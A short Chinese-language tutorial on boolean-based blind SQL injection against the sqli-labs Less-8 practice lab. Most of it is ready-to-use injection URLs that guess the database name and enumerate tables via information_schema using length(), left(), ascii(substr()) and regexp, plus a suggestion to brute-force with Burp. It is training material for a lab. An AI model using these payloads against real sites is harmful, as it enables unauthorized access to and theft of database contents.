ppt来自传送门
小技巧
以下环境为sqli-labs第8关
其实可以将布尔盲注理解为一个猜单词的游戏
小技巧
substr((select database()).1.1)=‘s’ 和 ascii(substr(select database()),1,1))=115的区别
建议使用ascii(substr(select database()),1,1))=115,因为在某些注入场景中‘s’中带有引号,往往会被转义。所以在使用各种函数进行猜着盲注的时候,可以尝试使用ascii()来进行注入。
利用布尔盲注的思路,先猜数据库的长度,再逐一猜出全名。
http://sqli-labs:65/Less-8/?id=1' and length(database())>=9--+
以上可以利用二分法依次猜出数据库的长度
1.爆数据库
http://sqli-labs:65/Less-8/?id=1' and left((select database()),1)='s'--+
http://sqli-labs:65/Less-8/?id=1' and left((select database()),1)='a'--+则无回显
2.爆表
http://sqli-labs:65/Less-8/?id=1' and left((select table_name from information_schema.tables where table_schema='security' limit 0,1),1)='e'--+
==然后一次更改limit 的参数可以推测出 表email
另一种形式
1.爆数据库(得知== 默认数据库为 security==)
http://sqli-labs:65/Less-8/?id=1' and (select database()) regexp '^s'--+
http://sqli-labs:65/Less-8/?id=1' and (select table_name from information_schema.tables where table_schema=database() limit 0,1) regexp '^s'--+
在这里不妨用bp进行爆破
注意 regexp 不用频繁修改limit 的参数,始终为1就好。(不像left(),每次都要修改相应的参数)